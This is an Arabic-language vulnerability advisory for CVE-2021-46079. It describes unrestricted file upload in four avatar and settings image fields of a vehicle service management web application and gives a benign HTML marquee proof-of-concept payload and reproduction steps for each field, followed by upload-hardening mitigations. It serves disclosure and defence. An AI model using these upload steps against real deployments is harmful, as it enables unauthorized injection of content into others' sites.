CVE-2021-46079
عنوان الاستغلال: نظام إدارة خدمة المركبات - تحميل ملفات متعدد يؤدي إلى حقن HTML
CVE: CVE-2021-46079
CVSS: 7.2 عالية
المراجع:
الوصف:
توجد ثغرة تحميل ملفات غير مقيدة في نظام إدارة خدمة المركبات (Sourcecodester Vehicle Service Management System) الإصدار 1.0. يمكن للمهاجم عن بُعد تحميل ملفات ضارة تؤدي إلى حقن HTML.
1. نظام إدارة خدمة المركبات - 'حسابي' (/admin/?page=user)
الاستغلال:
- تسجيل الدخول إلى لوحة الإدارة http://localhost/vehicle_service/admin
- الانتقال إلى قسم حسابي http://localhost/vehicle_service/admin/?page=user
الحمولة:
<!DOCTYPE html>
<html>
<head>
<title>HTML marquee Tag</title>
</head>
<body>
<marquee>HTML INJECTION</marquee>
</body>
</html>
- حفظ كود HTML أعلاه على سبيل المثال: Html Injection.html
- في قسم حسابي، أدخل جميع التفاصيل المطلوبة وتصفح ملف HTML في حقل الصورة الرمزية (Avatar).
- انقر على زر التحديث.
- افتح الصورة الرمزية في علامة تبويب جديدة.
- يتم تنفيذ حقن HTML.
2. نظام إدارة خدمة المركبات - 'قائمة المستخدمين' (/admin/?page=user/manage_user)
الاستغلال:
- تسجيل الدخول إلى لوحة الإدارة http://localhost/vehicle_service/admin
- الانتقال إلى قسم قائمة المستخدمين والنقر على زر إنشاء جديد.
الحمولة:
<!DOCTYPE html>
<html>
<head>
<title>HTML marquee Tag</title>
</head>
<body>
<marquee>HTML INJECTION</marquee>
</body>
</html>
- حفظ كود HTML أعلاه على سبيل المثال: Html Injection.html
- في صفحة إنشاء مستخدم جديد، أدخل جميع التفاصيل المطلوبة وتصفح ملف HTML في حقل الصورة الرمزية (Avatar).
- انقر على زر حفظ.
- افتح الصورة الرمزية في علامة تبويب جديدة.
- يتم تنفيذ حقن HTML.
3. نظام إدارة خدمة المركبات - 'الإعدادات - شعار النظام' (/admin/?page=system_info)
الحمولة:
- تسجيل الدخول إلى لوحة الإدارة http://localhost/vehicle_service/admin
- الانتقال إلى قسم الإعدادات http://localhost/vehicle_service/admin/?page=system_info
الحمولة:
<!DOCTYPE html>
<html>
<head>
<title>HTML marquee Tag</title>
</head>
<body>
<marquee>HTML INJECTION</marquee>
</body>
</html>
- حفظ كود HTML أعلاه على سبيل المثال: Html Injection.html
- في قسم الإعدادات، أدخل جميع التفاصيل المطلوبة وتصفح ملف HTML في حقل شعار النظام (System Logo).
- انقر على زر التحديث.
- افتح صورة شعار النظام في علامة تبويب جديدة.
- يتم تنفيذ حقن HTML.
4. نظام إدارة خدمة المركبات - 'الإعدادات - غلاف الموقع' (/admin/?page=system_info)
الاستغلال:
- تسجيل الدخول إلى لوحة الإدارة http://localhost/vehicle_service/admin
- الانتقال إلى قسم الإعدادات http://localhost/vehicle_service/admin/?page=system_info
الحمولة:
<!DOCTYPE html>
<html>
<head>
<title>HTML marquee Tag</title>
</head>
<body>
<marquee>HTML INJECTION</marquee>
</body>
</html>
- حفظ كود HTML أعلاه على سبيل المثال: Html Injection.html
- في قسم الإعدادات، أدخل جميع التفاصيل المطلوبة وتصفح ملف HTML في حقل غلاف الموقع (Website Cover).
- انقر على زر التحديث.
- افتح صورة غلاف الموقع في علامة تبويب جديدة.
- يتم تنفيذ حقن HTML.
التأثير:
يمكن للمهاجم تحميل ملف ضار في نقاط نهاية متعددة مما يؤدي إلى حقن HTML.
التخفيف:
يوصى بتنفيذ ما يلي:
- لا تقبل اسم الملف وامتداده مباشرة دون وجود مرشح قائمة بيضاء.
- إذا لم تكن هناك حاجة لأحرف Unicode، فمن المستحسن بشدة قبول الأحرف الأبجدية الرقمية فقط ونقطة واحدة فقط كمدخل لاسم الملف والامتداد.
- حدد حجم الملف إلى قيمة قصوى لمنع هجمات رفض الخدمة.
- يجب ألا يكون للدليل الذي تم تحميله أي صلاحية "تنفيذ".
- لا تعتمد فقط على التحقق من جانب العميل.